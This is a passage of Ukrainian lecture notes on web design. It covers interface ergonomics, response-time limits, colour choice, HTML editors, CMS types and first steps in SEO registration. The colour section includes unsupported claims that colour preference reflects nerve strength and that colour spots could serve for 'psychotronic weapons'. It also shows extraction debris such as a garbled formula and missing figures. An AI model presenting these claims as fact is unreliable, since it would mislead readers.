на e-mail адміністратора сайту інтернет-магазину, користувачеві приходить

по e-mail підтвердження з переліком замовлених товарів.

Є можливість зробити вибір «методу оплати»:

Готівкою кур'єру

24

Квитанція в ощадбанк

Виставити рахунок (для юр.осіб)

Після підтвердження замовлення користувачеві пропонується завантажити

рахунок або квитанцію про оплату.

«Реєстрація» і «Авторизація» Не є обов'язковими пунктами для

оформлення замовлення. Якщо замовлення відправляє незареєстрований

користувач, йому пропонується в розділі «Кошик» заповнити дані для

зв'язку або зареєструватися.

4. ЕРГОНОМІЧНІ ОБМЕЖЕННЯ ТА РЕКОМЕНДАЦІЇ ПРИ WEB-

ДИЗАЙНІ

Одна з основних функцій Web-дизайнера це створення зручного

інтерфейсу користувача з Web-сайтом. Зручний інтерфейс не можливо

зробити без врахування ергономічних обмежень користувача. Частина

ергономічних обмежень та рекомендацій враховується технічними

засобами та інтерфейсом браузера і Web-дизайнер на них не впливає і

просто їх використовує. До цих обмежень відносяться формат екрана,

розташування засобів керування, смуг прокручування та іншого. Але при

створенні Web-сайту багато компонент керування та розміщування

інформаційного наповнення Web-дизайнер робить самостійно і тому

розглянемо деякі ергономічні обмеження та рекомендації.

4.1 Обмеження по кількості елементів керування

У 80-і роки дослідження кількості елементів керування, з яким людині

зручно працювати було проведено фірмою ІВМ. У якості елементів

керування розглядалося меню з яким працює користувач у діалоговій

системі.

25

Експериментально досліджувалась залежність R=F(N) та T=F(N) де

R - ймовірність помилки користувача при обмеженні часу пошуку; T - час

витрачений на пошук необхідного елемента керування; N - кількість

елементів керування. Отримана експериментальні залежності надано на

малюнку.

Після 7-9 елементів керування (клавіш меню) визначається швидке

зростання і R, і T. Горизонтальна ділянка графіка означає, що при менше

7-9 клавіш користувач не робить зорове сканування і майже не витрачає

часу на пошук та має мінімум помилок. Мала кількість елементів

керування не є оптимальним для користувача і часто викликає

роздратування (краще –дискомфорт) користувача. Обґрунтувати це важко,

але треба пам’ятати про магічне число-7.

При визначенні клавіш є ще дві проблеми. Перша це кількість

інформації закладеної у кожну клавішу. Нагадаю, що клавіша задає “Зміст”

того, куди робиться з неї перехід, тобто повинна відповідати Вмісту

інформації. Часто досить важко декількома словами надати відповідність

вмісту. Ці питання краще вирішувати не Web-дизайнеру, а мати

консультації із замовником, який може порадити метод скорочення. Якщо

у якості одиниці взяти одне слово, то краще не перевищувати 3 слів у

одній клавіші. При цьому можуть виникати і проблеми розташування

клавіш у полі екрану.

26

4.2 Обмеження по розташуванню елементів керування

На малюнку наведено приклади двох орієнтацій клавіш з різними

відстанями між клавішами. Ці 2 орієнтації широко використовуються при

побудові сайтів. Їх закладено і у розташування клавіш у CMS. Загалом

розташування ДЕФ є більш компактним і цим часто користуються для

надання великої кількості клавіш, але залежність, що надано на рис. ,

залишається і у цьому випадку. Особливо це помітно при випадаючих

клавішах.

А

В

С

D E

F

27

Цікаво спостерігати вплив відстані між клавішами на сприйняття їх

користувачем. Клавіші створюють єдине інформаційне поле і воно починає

розриватися при відстані більшим ніж половина ширини клавіші у

напрямку їх орієнтації. Так якщо А,В та Д,Е є прийнятними, то С та Ф

неприйнятними для побудови набору клавіш.

Іноді здається, що мала кількість клавіш для керування, створює прийнятні

умови роботи користувача. Мала кількість клавіш керування особливо на

першому рівні часто є наслідком поганої структуризації інформації. Часто

в цьому випадку велика кількість клавіш буде на нижніх рівнях. Мала

кількість клавіш керування така ж не прийнятна для сприйняття

користувача як і велика. Користувача дратує (робить дискомфортним)

незадіяна зона екрану в якій він очікував клавіші керування. На жаль

прикладів із сайтами у яких є ця помилка достатньо, наприклад сайт

Родовід банку.

4.3 Обмеження по інформаційному наповненню

Інформаційне наповнення кожного розділу повинно бути зручне для

сприйняття. Все залежить від призначення відповідного сайту та розділу.

Клавіша 1 Клавіша 2

28

Як показують дослідження багато відвідувачів сайтів продивляються лише

першу сторінку і тому багато уваги дизайнера повинно бути зосереджено

на змісті та структурі першої сторінки. Доцільно коротко надати

призначення сайта та його основні новини.

Якщо зміст розділу повністю текстовий, то доцільний обсяг повністю

залежить від зацікавленості користувача, але в більшості випадків після 6-

8 тисяч символів з’являється відчуття дискомфорту. Об'єм тексту може

бути збільшено при використанні графічних ілюстрацій.

Якщо сайт навчальний, то можна визначити порцію кожного уроку в

залежності від засвоєння матеріалу середнім учнем без втоми (без

дискомфорту). У Сполучених Штатах випускається серія книжок по

вивченню програмних систем під назвою “Ten minute for study” (“Десять

хвилин для навчання”). Пропонується витрачати 10 хвилин для вивчення

певних функцій системи. Подібні книжки було надруковано автором у

1994-1998 роках (“Вивчаємо та працюємо з ACCESS“, “Працюємо з

Internet “, “ Lotus Organizer для секретаря и руководителя” та інші).

Особистий досвід створення таких книжок дозволив організувати курсові

роботи студентів кафедри САПР-СП ІПСА НТУУ”КПІ” по курсу

“Технології комп'ютерної графіки” де ставилася задача створення Web-

сайтів з уроками по вивченню програмних систем. Прикладом таких

систем можуть бути наступні:

Уроки по вивченню Microsoft Project

http://bug.kpi.ua/stud/work/RGR/bochkarev-MP/index.html

Можливості та особливості Front Page

http://bug.kpi.ua/stud/work/RGR/boyarcka-web-FP/1/bayarska/index.html ,

Кожний сайт відповідно оформлюється і має титулову сторінку.

Прикладом може бути титулова сторінка Уроків по вивченню Microsoft

Project .

29

Після кожних трьох уроків ставиться тест для контролю знань по

вивченому матеріалу. Для цього студентам передається Action Script , вони

заповнюють його питаннями та відповідями і вставляють скрипт у сайт.

Зовнішній вид тесту надано на рисунку. Після тестування програма оцінює

результати і показує процент вірних відповідей. Надається можливість

продивитись вірні відповіді.

4.4 Графіка та текст.

Текст без графіки погано сприймається і виглядає нудно. Для навчальних

матеріалів більше 3-5 сторінок по 2 тисячі символів краще не розміщувати.

У серії книжок для навчання кожний урок (урок був порцією інформації)

мав до 10-12 сторінок з копіями екранів та поясненнями до них.

Графічна інформація має різні функції при її використанні.

Розглянемо основні типи графічних зображень на Web-сторінках та їх

характеристики:

• намальовані художниками чи взяті з Інтернету графічні зображення

(титульне оформлення, логотипи, піктограми, банери, та інші мальовані

зображення на сторінці);

• художнє оформлення текстової інформації

• спеціально розроблені шаблони оформлення Web-сторінок

• схеми, графіки, діаграми та інше

• фотозображення;

• анімовані зображення;

• телевізійні фрагменти.

Перш за все відзначимо, що будь яка сторінка має своє титульне

оформлення. До титульної сторінки відноситься одне, на мій погляд

обов'язкове правило - стиль, зображення на сторінці, скрипти, що

використовуються, фони та графічні зображення для оформлення,

залежать від призначення сторінки. Сторінки кафе, розважальних Сайтів,

30

домашні сторінки мають багато яскравих рухливих зображень, фото, іноді

і непристойних, вкрадені з інших сторінок зображення та інше, що навряд

чи Ви будете використовувати для Сайта поважної фірми.

Розробка логотипу, графічне оформлення, створення оригінального

банеру є одними з найбільш творчих операцій при створенні сторінок. Для

виконання цих робіт звичайно залучаються художники, які володіють

засобами комп'ютерної графіки. При роботі художника важливою

частиною є узгодження з замовником мети графічної роботи, побажань

замовника по оформленню та змісту роботи, умов та обмежень. Умови та

обмеження це не тільки розмір зображення та обсяг пам'яті, але й

дозволені та недозволені графічні елементи, це і колір, і яскравість, і

шрифти та інше. Звичайно розробка і логотипу, і банеру, і інших графічних

елементів це ітераційний процес.

Тактильна безперервність Тактильна безперервність розглядається як

мінімізація змін при роботі засобів керування. Звичайними засобами

керування є миша та клавіатура.

4.5 Часові обмеження

Дослідження показали, що при організації взаємодії ефективність

роботи користувача залежить від значення tp. Фірма IBM досліджувала

зміни ефективності роботи користувачів (кваліфікованих і недостатньо

підготовлених) в залежності від часу реакції

При цьому умови реального часу мали вигляд.

∀∀∀∀ti<<<< ТoR

.

Де ti – час реакції, ТoR – психофізіологічне обмеження на час реакції. Фірма

ІВМ провела дослідження і з'ясувала, що час затримки (дозволений час

реакції) залежить від складнощі того завдання, що виконує система. Для

простих завдань типу натискання на клавішу і отримання реакції Тo1 =0,1-

31

0,2 с. , нескладних завдань, типу обчислення простих функцій,

перетворення зображень на площині Тo2 = 2-3 секунди, а для складних

(складних обчислень, пошуку у базах Тo3 це 20-30 секунд. Якщо

виконується співвідношення, що надано нижче , то вважається, що

взаємодія з системою йде у реальному часі.

Якщо розглядати роботу InterNet, то завдання можуть бути

інтерпретовані наступним чином Тo1- це робота зі сторінкою у браузері,

Тo2 – запит сторінок по заданій адресі, Тo

3 – робота з великими базами та

виконання складних обчислень.

Якщо затримка перевищує обмеження, то користувач відчуває

дискомфорт. Щоб зменшити дискомфорт при виконанні завдання на екрані

формуються деякі рухомі об'єкти (звичайно це полоса, чи різні типи

годинників), чи інформація видається користувачу поступово під час її

отримання. Після дискомфорту йде відмовлення користувача від

поточного виконання дій. Відмова теж залежить від можливості

очікування користувачем інформації.

Коефіцієнт дискомфортності можна оцінити за допомогою наступного

співвідношення:

4.6 Колір

1. Психогенний вплив

Вельми показовим випадком психогенного впливу виступає вплив кольору

на психофізіологічний і емоційний стан людини.

32

Експериментально встановлено, що при дії пурпурного, червоного,

помаранчевого і жовтого кольорів частішає і поглиблюється дихання і

пульс людини, підвищується його артеріальний тиск, а зелений,

блакитний, синій і фіолетовий кольори викликають зворотний ефект.

Перша група квітів є збудливою, друга заспокійливою.

Людям зі слабкою нервовою системою найчастіше подобаються червоний і

жовтий кольори, з міцними нервами - зелений і синій.

Червоний колір асоціюється з виглядом крові або відблиском вогню і

викликає занепокоєння і тривогу, піднімає активність. Блакитний колір, що

фігурує в спадковій пам'яті як колір неба, викликає урочистий настрій.

Чорний колір тотожний мороку і печалі. Білий колір прийнято пов'язувати

зі світлом і чистотою.

Є тісний взаємозв'язок між кольором і звуком. Зелений і фіолетовий

відповідають рівним інтонаціям людського голосу. Певні поєднання

кольорів надають цілком певний емоційний вплив. Наприклад,

використання взаємодоповнюючих відтінків створює гармонію і доставляє

максимум задоволення. У свою чергу, невірна комбінація кольорів сприяє

виникненню неспокою і т. п.

До речі, принцип дії колірних плям можливо використовувати для

розробки деяких видів психотронної зброї.

2. Колір при Web-дизайні

З погляду людської психології поєднання кольорів може в значній мірі

впливати на сприйняття людиною наданої на малюнку інформації. Саме

тому при підборі колірного поєднання, наприклад тексту з фоном,

рекомендується виходити з міркувань власного здорового глузду: текст

повинен без зусиль читатися, при цьому читач не повинен напружувати

зір, його очі не повинні втомлюватися. Далі приведений перелік колірних

33

поєднань мальованого об'єкту або тексту з фоном в порядку погіршення

зорового сприйняття:

• синє на білому;

• чорне на жовтому;

• зелене на білому;

• чорне на білому;

• зелене на червоному;

• червоне на жовтому;

• червоне на білому;

• померанчеве на чорному;

• чорне на пурпурному;

• померанчеве на білому;

• червоне на зеленому.

Коректність поєднання один з одним решти всіх кольорів і відтінків

перевіряється за допомогою одного простого правила: переведіть ваше

зображення у формат « grayscale » (256 відтінків сірого) і подивіться, чи

читається у такому вигляді ваш текст, чи контрастно виглядають

намальовані елементи. Якщо ні —приняте вами колірне рішення краще

переглянути. У будь-якому випадку для тексту рекомендується вибирати

традиційний, звичний оку чорний колір, як фон краще всього

використовувати тьмяну, ледве помітну заливку довільного відтінку.

Проте найбільш «вірним» рішенням завжди був і залишається «класичний»

варіант: чорним по білому.

34

5. МЕТОДИ РОЗРОБКИ

Можна виділити 3 методи

розробки

Ручна розробка

Інструментальні системи

CMS

Design-base editor MS FrontPage A. DreamWeaver

Code-base editor Adobe Home Sites HotDog

Розробка

Проста Шаблонна Професійна Універсальна

CMS

35

. 5.1 Використання HTML та програмних систем для розробки

Ручна розробка за допомогою HTML

При появі мови HTML, цей метод був найпоширенішим. Основною

програмою для розробки був Notepad . Але у цього методу є істотні

недоліки: спосіб досить трудомісткий і зробити нормальний Web-сайт без

CSS, JavaScript та інших мов програмування досить важко.

Розробка сайту за допомогою інструментальних систем (Dreamweaver,

FrontPage)

Існує багато готових рішень, для більш швидкої і зручної розробки сайтів.

Вони надають можливість генерувати html код, розробляти сайт у

візуальному режимі і мають багато інших можливостей.

Виділимо декілька інструментальних систем для розробки HTML:

• програми, що мають у своєму складі візуальні редактори (design-based

editor) - засоби, які автоматично формують необхідний HTML-код,

дозволяючи розробляти Web-сторінки в режимі WYSIWYG;

• програми-редактори (code-based editors), які надають редактор і

допоміжні засоби для автоматизації написання коду.

1. Розглянемо найбільш популярні design-based редактори:

• Adobe DreamWeaver - один з кращих візуальних редакторів, що

генерують HTML код. Він дозволяє працювати в декількох режимах

одночасно, з HTML кодом або у візуальному режимі. Але основний

недолік є те, що програма генерує занадто "важкий" код, додаючи багато

зайвого. Але, якщо знайомі з HTML, тоді текст HTML можна

відредагувати. Ця програмна система випускалася до 2005 року компанією

Macromedia, після чого була придбана фірмою Abode.

• Microsoft FrontPage - це простий в засвоєнні і зручний Web-редактор для

проектування, підготовки і публікації Web-сайтів. Завдяки інтеграції з

36

сімейством продуктів MS Office, звичного інтерфейсу і великої кількості

шаблонів програма дозволяє швидко засвоїти роботу навіть початківцям,

які знайомі з основами роботи в MS Word. При цьому FrontPage не можна

назвати рішенням для «чайників»: програма надає широкі функціональні

можливості та різноманітні засоби оптимізації при колективній розробці.

Вона дозволяє швидко створювати динамічні комплексні Web-вузли

практично будь-якої складності.

2. Популярні code-based редактори:

• Adobe HomeSites - це потужний пакет, до складу якого входить багато

корисних функцій і підпрограм. Об'ємний дистрибутив редактора включає

в себе, крім самого редактора, редактор TopStyle для редагування таблиць

CSS. Перевірка орфографії та багато іншого.

• HotDog - цілком професійний редактор. Вбудована підтримка дуже

широкого набору інструментів, використовуваних в Web-дизайні: HTML,

CSS, JavaSript, VBScript, ASP, а також DOM - об'єктної моделі документа,

що використовується при програмуванні на VBScript і JavaScript. При

цьому перевірка синтаксису цих інструментів може налаштовуватися в

досить широких межах. Наприклад, HTML можна перевіряти на

відповідність версії 3.2, 4, або на "перегляді" тільки в Internet Explorer та

інше.

• AceHTML - основні функціональні можливості - подібно HomeSite і

FirstPage. З цінних якостей AceHTML треба відзначити вмілу роботу з

кодуваннями російської мови. Другий плюс - дуже непогана вбудована

утиліта для перегляду графічних файлів у комп'ютері. У просторому вікні

відображаються ескізи всіх картинок в директорії, а також їх параметри і

розмір у пікселях.

5.2 Динамічні Web-сайти та системи управління Web-контентом

37

Для створення динамічного сайту можливі два шляхи. По-перше, це

написання власних програм, які відповідають за створення потрібних

шаблонів і підтримують необхідні функції. При цьому створена система

буде повністю відповідати потребам, проте можливо вимагатиме великих

програмістських зусиль і часу. Другий шлях - це скористатися вже

існуючими системами, які і називаються системами управління Web-

контентом. Перевагою цього шляху є зменшення витрат часу і сил. До його

недоліків можна віднести зниження гнучкості, надання недостатнього або

надмірного набору можливостей.

Цей метод є основним на цей час для створення складних, сучасних

сайтів, порталів, Веб-додатків. Це метод з використанням CMS. Вікіпедія

дає наступне визначення. CMS це система керування вмістом (контентом)

(англ. Content management system, CMS) — комп'ютерна програма чи

система, що використовується для забезпечення і організації сумісного

процеса створення, редагування та управління текстовими і

мультимедійними документами (вмісту чи контента). Звичайно цей вміст

розглядається як не структуровані данні предметної задачі в протилежність

структурованим даним, що заичайно знаходяться під керуванням СУБД.

Звичайно, що встановлення CMS робиться вже на вибраному хостінзі. При

цьому як мінімум вимагається FTP доступ та дозвіл роботи MySQL.

Таким чином, відділення дизайну від контенту є головною відмітною

особливістю динамічних сайтів від статичних. На цій основі можливі

подальші удосконалення структури сайту, такі як визначення різних

призначених для користувача функцій і автоматизація бізнес-процесів, а

саме головне, контроль що надходить на сайт контенту.

5.2.1 Типова структура

У найзагальнішому вигляді архітектуру систем управління Web-контентом

можна представити наступним чином:

38

В основі даної технології лежить трьохланцюгова архітектура клієнт /

сервер. Така архітектура розбиває процес обробки даних між:

- клієнтом;

- сервером додатків;

- сховищем даних (база даних).

На відміну від традиційної двохланцюгової архітектури тут присутній

сервер додатків як проміжна ланка між клієнтом і сховищем даних.

Необхідність такої ланки продиктована вимогами додатків для

підприємств, що взаємодіють з клієнтами (через Інтернет), партнерами

(через Extranet) і власними працівниками (через Intranet). У відсутності

сервера додатків більшість додатків виконується прямо на клієнтському

комп'ютері, з якого клієнт посилає запити. При цьому для доступу до

необхідних даних клієнт повинен знати, як саме вони організовані і де

зберігаються. До того ж комп'ютери клієнтів повинні бути достатньо

потужними для обробки даних зі сховища (така архітектура зазвичай

39

називається "товстий клієнт"). На противагу їй трехзвенная архітектура, її

ще називають "товстий сервер", а частіше - "тонкий клієнт", дозволяє

уникнути посилення комп'ютерів клієнтів і завантаженості мережі через

переміщення даних. Отримуючи запит, сервер додатків обробляє його,

зв'язуючись з сховищем даних, в якому б місці необхідні дані не

знаходилися. Клієнт лише отримує результат у вигляді HTML-файлу.

Таким чином, сервер додатків є стандартизованої платформою для

динамічної доставки контенту та побудови основних додатків. Треба

зауважити, що самих серверів додатків може бути багато, а зв'язок з ними

відбувається через Web-сервер.

Для створення і обслуговування динамічних сайтів можна

скористатися спеціальними системами управління Web-контентом. Вони є

програмним забезпеченням, що встановлюються на Web-сервері. Їх

основним завданням є контроль контенту, що надходить на сайт, для

забезпечення достовірності та своєчасності.

Якщо подивитися тепер на системи управління контентом в

узагальненому вигляді, то можна відзначити, що їх складовими можуть

бути компоненти управління контентом, сховища даних, серверів додатків.

З них лише управління контентом є обов'язковою складовою, хоча різні

виробники і тут пропонують різні можливості.

5.2.2 Основні функції систем управління Web-контентом

Виробники систем управління Web-контентом одностайні лише в

самому загальному визначенні того, що повинні надавати такі системи. Їх

основні параметри можна згрупувати в три категорії:

1. Розробка контенту

Розробка контенту є одним з ключових компонентів всієї системи. Саме

тут починається життєвий цикл будь-якого матеріалу публікується на

сайті. На цьому етапі відбувається створення, редагування та затвердження

40

контенту, а роль системи полягає в автоматизації цих процесів. Завдання

підтримки спільної роботи авторів, редакторів, програмістів та менеджерів

повністю покладається на систему. Це завдання здійснюється завдяки

розподілу контенту і дизайну. Всі компоненти сайту, включаючи шаблони

і наповнення, зберігаються у визначених місцях сховища даних. Система ж

автоматично звертається в потрібні місця сховища, дозволяючи безлічі

користувачів, навіть не є технічними фахівцями, працювати над

підготовкою контенту до публікації, включаючи перевірку його

достовірності.

2. Управління сайтом

На цьому рівні відбувається розробка самого сайту, попередній

перегляд і публікація підготовленого контенту. Тут розробляється

зовнішній вигляд, готуються шаблони, розподіляються ролі користувачів і

класифікація необхідної бізнес-інформації (наприклад, товари, ціни).

Важливими компонентами цього рівня є служби підтримують своєчасність

надходження необхідного контенту.

3. Доставка контенту

Коли сайт повністю підготовлений до публікації, необхідні кошти

для динамічного формування Web-сторінок в залежності від виду

конкретних користувачів. У зв'язку з цим, одним з важливих компонентом

даного етапу є персоналізація або розподіл профілів, щоб кожен

користувач отримував тільки ту інформацію, яка відповідає його ролі.

Треба відзначити, що хоча і не існує абсолютно однакових систем

управління Web-контентом, експерти сходяться в одному. При розвитку

Web-технологій системи повинні будуть концентруватися більше на

управлінні контентом, ніж на Web-паблішинг.

Дуже швидко CMS перетворилися із просто систем управління

контентом в повнофункціональні системи управління сайтом. При цьому

41

популярні і широко розповсюдженні скрипти, які окремо

використовувалися на сайтах, були об’єднані загальною програмою під

єдиним інтерфейсом. В багатьох випадках інтегровані зручні автоматичні

інсталятори і візуальні HTML редактори. В результаті отримали на 100%

готовий до застосування повнофункційний сайт — портал. Інсталювати

такий портал на сервер, встановити (вибрати) необхідні функціональні

модулі (наприклад, модуль публікації статей з уже вбудованою

можливістю додавання коментаріїв відвідувачами), наповнювати

інформаційним контентом свій сайт уже може будь-яка людина без

спеціальних знань. Часто програмні можливості CMS дозволяють (в

повністю автоматичному режимі) змінювати розташування виведення

інформації на Web-сторінці, вибирати схеми кольорів, дизайн із шаблонів,

що є в наявності.

В наш час, за допомогою сучасних CMS, будь-яка людина, яка має

бажання відкрити своє представництво в Інтернет, може без спеціальних

знань, «титанічної» праці, особливих матеріальних витрат організувати

свій якісний і багатофункційний сайт. Організації також отримали більш

дешеву і мобільну можливість вести свій Інтернет-бізнес. Це ж стосується і

рекламних агентств, значна кількість яких в наш час є розробниками своїх

власних CMS.

В більшості випадків CMS будуються із програмного ядра —

«движка» та модулів, що підключаються.

«Движок» CMS — це програма, яка підпорядкована певному

алгоритму введення і виведення інформації. Цей алгоритм у кожної CMS

різний, свій, в відповідності з ідеєю і ціллю розробника[1]. Це дає

можливість користувачу вибирати CMS, що найбільш підходить. В зв’язку

з цим, зовнішній вигляд інформації що виводиться (наприклад, новин), в

кожній CMS різний, індивідуальний і змінити його досить складно (або

42

неможливо, без переробки, зрозуміло, самого «движка»), тому якщо

зовнішній вигляд контента початково не влаштовує, краще вибрати іншу

CMS, ніж займатися його «підгонкою».

Універсальність і, багато в чому популярність CMS, залежить від

кількості наявних модулів, можливості и простоти створення нових.

Наявність, кількість, оновлення модулів є одним із критеріїв оцінки CMS.

Модульна структура дозволяє розробникам охопити велике коло

користувачів з різними вимогами до функційності порталу, програмістам

— створювати свої модулі під конкретні задачі чи замовлення, а

користувачам — отримати зручність і можливість мобільно реалізовувати

різні свої ідеї.

Багато які CMS, крім функційних модулів, мають шаблону

структуру. За допомогою шаблонів можна швидко змінити зовнішній

вигляд всього порталу або окремих модулів. Крім того, наявність шаблоної

структури припускає і дозволяє корекцію і створення своїх,

індивідуальних шаблонів.

CMS з одного боку дає широкі можливості відвідувачам-

користувачам, а з іншого - адміністраторам, які керують ресурсами,

адмініструють інформацію, керують загальним виглядом сайту,

спілкуються з відвідувачами і клієнтами. Більшість CMS забезпечені

системою авторизації, і адміністратор може дозволяти, забороняти,

обмежувати доступ до інформації, або частини інформації на своєму

ресурсі окремим відвідувачам.

Можна впевнено сказати, що CMS необхідні всім, хто так чи інакше

планує свою присутність в Інтернеті. А так як ринок CMS постійно

змінюється і кількісно і якісно, виникає необхідність оцінки і вибору

оптимальної для конкретного проекта CMS.

43

Оформлення Веб-сайту Художнє та дизайнерське оформлення сайтів

беруть на себе так звані "шаблони". Це розроблене дизайнерське та

художнє рішення сайту, що пропонується кожним CMS при його

встановленні. Розробка нового свого шаблону досить трудомісткий процес.

Використання стандартних шаблонів значно полегшує створення сайтів,

але зменшує їх індивідуальність.

Значно полегшує роботу користувачів з CMS при введенні та

редагуванні інформації вбудовані в них редактори (їх часто називають

WYSIWYG). Не всі редактори, що пропонуються, бездоганні- можливі і

помилки, і неадекватна їх робота. Виправлення часто можливе на рівні

HTML і ця можливість надається цими редакторами. Якщо проаналізувати

інші моливості WYSIWYG, то можна виділити наступні блоки функцій: -

редагування і форматування (значно менші ніж у MS Word), уставлення

гіперпосилань, уставлення малюнків та приєднання файлів та декілько

інших. Загальною практичною порадою є грамотне використання буфера

вирізанного зображення (Ctrl+C,Ctrl+V). Не бажане використання цієї

операції для текстів у MS Word (краще це робити через NotePad). Як і в

усіх потужних програмних розробках в CMS додаються модулі, що значно

розширюють їх функційні можливості. Можливе включення Форумів,

Гостьових книг, Форм та іншого. У деяких CMS можливе створення Блогів

і на їх основі внутрішніх самостійних сайтів.

5.3 Характеристики сучасних CMS

5.3.1 Поняття і сутність системи управління контентом.

Сьогодні виділяють два види сайтів: статичні і динамічні. Статичні сайти

створюються відносно просто і дешево, але трудомісткі і дорогі в

супроводі. Замовні динамічні сайти складні і дорогі в розробці, але при

44

вдалій постановці завдання можуть бути зроблені достатньо дешевими у

супроводі.

Системи управління контентом, або движки, пропонують компроміс між

цими двома варіантами. За рахунок обмежень, накладених на логічну

структуру контенту, зовнішній вигляд (дизайн) і функціональні

можливості створюваних динамічних сайтів, такі системи дозволяють

радикально знизити трудомісткість розробки та підтримки.

Скрипти CMS розташовуються на самому сайті і щоб скористатися ними

потрібно просто зайти на спеціальну сторінку сайту, захищену паролем.

Відповідно, все, що потрібно для оновлення сайту з встановленою

системою, - це наявність комп'ютера, підключеного до Інтернету, і

браузера. Оновлення сайту за допомогою движка відбувається швидше і

простіше, ніж редагування коду, і може здійснюватися особами, абсолютно

не знайомими з HTML і іншими мовами розмітки. Багато сучасних CMS

настільки автоматизовані, що при роботі з системою не потрібен фахівець.

Контент - це будь-яка інформація, графічна чи текстова, розміщена на

сервері.

Система управління контентом –

1) це система управління інформацією на сайті;

2) це система, за допомогою якої власник може керувати змістом свого

ресурсу, не вдаючись при цьому до послуг професійних html-верстальників

і програмістів;

3) це спеціалізоване програмне забезпечення для автоматизованої розробки

і підтримки динамічних сайтів. Такі системи дозволяють розробляти і

підтримувати сайти, не вимагаючи при цьому знання HTML.

Основна ідея систем управління контентом - поділ дизайну сайту і

його змісту. При створенні сайту за допомогою такої системи

розробляються кілька шаблонів сторінок, в яких згодом розміщується

45

інформація, тобто система містить шаблони сторінок і сховище (базу

даних) інформації, з якої формується інформаційне наповнення сайту.

Рис. 1.1. Система управління контентом

Не зважаючи на те, що всі системи управління контентом спроектовані по-

різному, вони призначені для однієї мети - оновлення змісту сайту, і

важливу роль тут грає модуль документообігу, що входить у систему

управління сайтом.

У центрі системи знаходиться база даних, у якій зберігається весь контент,

шаблони сторінок та інформація про управління користувачами /

продуктами.

5.3.2 Класифікація систем управління контентом.

В основу класифікації можуть бути покладені наступні критерії:

користувальницький сервіс - наявність тих чи інших функцій, і модулів,

зрозумілість, і доступність користувачеві;

технологічність - використання технологій, що дозволяють підвищити

пропускну здатність і надійність системи;

сумісність (апаратна й програмна) - можливість функціонування

системи на різних платформах, сумісність із СУБД, можливість

підключення додаткових модулів;

масштабованість - можливість розвитку та нарощування системи.

Можна виділити: просту, шаблонну, професійну та універсальну системи

управління контентом.

Проста система управління контентом

46

Інтерфейс користувача контент-системи збирається із програмних модулів,

набір яких визначається в індивідуальному порядку для кожного окремого

проекту. Модулі один раз настроюються розробником, чим жорстко

закріплюється структура проекту. Від користувача системи потрібне

знання розмітки HTML. Система функціонує на основі динамічного

формування сторінок (щоразу при запиті користувача) і обмеженій

пропускній спроможності (в залежності від апаратного забезпечення) - до 3

000-5 000 відвідувачів на добу. Проста система сумісна з певними

платформами й типами СУБД. Спроба впровадження додаткових модулів,

залежно від технологій, що використовуються, може привести до повної

переробки проекту. Масштабованість досягається шляхом перекладу сайту

на нову, більш пристосовану до поточних завдань, версію системи

управління контентом.

Шаблонна система управління контентом

Інтерфейс користувача системи представлений єдиним модулем або

набором модулів із жорстко закріпленою структурою сайту. Шаблонна

система функціонує на основі динамічного формування сторінок або

використання кешування даних. Залежно від методів формування сторінок

- від 5 000 до 50 000 відвідувачів на добу. Система сумісна з певними

платформами й типами СУБД. Спроба впровадження додаткових модулів,

також, як і в попередньому випадку, обмежена. Масштабованість

відбувається, як і в простій системі управління контентом.

Професійна система управління контентом

Система представлена інтуїтивно зрозумілим для користувача

інтерфейсом і розширеними можливостями редагування. На основі таких

систем управління контентом створюються найрізноманітні сайти.

Надається можливість підключення додаткових модулів, як від

розробника, так і прикладного ПЗ. Формовані динамічні сторінки

47

кешуються, що веде до безмежної пропускної здатності, яка залежить

тільки від апаратного забезпечення. Система сумісна з різними програмно-

апаратними платформами. Рівень пропонованої в системі масштабованості

дозволяє підключати додаткові модулі без порушення структури та

ідеології керування веб-ресурсом.

Універсальна система управління контентом

Користувацький сервіс представлений передовими засобами управління

контентом, система надає засоби для розробки нових сервісів і

можливостей. За технічними характеристиками дана система повністю

пристосована до внутрішньо корпоративного використання в зв'язці з ERP-

пакетами, що забезпечено наявністю сертифікованої системи безпеки -

розмежування прав доступу до контент-системи на внутрішньо

корпоративному рівні. У процесі функціонування системи проводиться

кешування формованих динамічних сторінок і при цьому пропускна

здатність - не обмежена. Система сумісна з різними програмно-апаратними

платформами. Можливості масштабування дозволяють підключати

додаткові модулі, що розширюють функціональність ресурсу, у тому числі

готові модулі інтеграції із внутрішньо корпоративними системами.

Можливе розширення за рахунок кластеризації. [1]

6. РЕЄСТРАЦІЯ ТА РОЗКРУЧУВАННЯ WEB-САЙТІВ В ІНТЕРНЕТІ

Основні поняття SEO

SEO (англ. search engine optimization) - це оптимізація HTML-коду, тексту,

структури й зовнішніх чинників сайту з метою підняття його рейтингу по

результатах моніторингу пошуковими системами.

Поняття SEO з'явилося на початку 90-х років минулого століття практично

одночасно з появою перших пошукових систем.

48

У той час поняття SEO було не таким ємним, як зараз, і сам процес

пошукової оптимізації сайтів полягав у насиченні контенту сторінок

ключовими словами, а також у зміні мета тегів (англ. metatag), тайтлів

(англ. title) і кейвордів (англ. keyword ) сторінки, яка оптимізується.

Це призвело до того, що якість видачі пошукових систем різко знизилася

через присутність на перших сторінках в основному сміттєвих сайтів, що

не представляють інтересу для користувачів

6.1.Підготовка до реєстрації на пошукових системах і каталогах

Вона складається із двох етапів:

• Підготовка відомостей про сайт.

• Підготовка сайту

Підготовка відомостей про сайт

Підготовка включає:

- Адреса сайту ( URL ) - http :// www ....... На цю адресу прийде робот

пошукової системи та/або адміністратор каталогу.

• Назва сайту – заголовок, котрий, побачить користувач у результатах

пошуку або в рубриці каталогу. Повинно відображати зміст сайту та,

бажано, відповідати доменному імені сайту.

• Опис сайту – анотація/короткий зміст сайту. Повинно зрозуміло

описувати зміст сайту. Це той текст, котрий користувач побачить у

результатах пошуку або в рубриці каталогу поряд с назвою сайту та його

адресою.

• Ключові слова – список ключових слів і термінів для вашого сайту.

Ключові слова повинні відповідати змісту вашого сайту. Список ключових

слів впливає на визначення релевантності вашого сайту.

• Логін та пороль - ці відомості знадобляться вам для редагування

залишеної вами інформації в разі необхідності.

49

• Контактна адреса електронної пошти - по цій адресі вам буде висилатись

інформація від пошукової системи. Краще для цього завести окрему

поштову скриньку, якщо у вас є така можливість.

Розгляне більш детально процес реєстрації та розкручування Web-сайту

Крок 1. Реєстрація

Першим кроком у розкручуванні є реєстрація на сайтах, які ведуть реєстр

ресурсів за певними параметрами, і установка на власному сайті

лічильника. Таку реєстрацію необхідно проводити на популярних

інтернет-ресурсах.

Крок 2. Інформація для робота

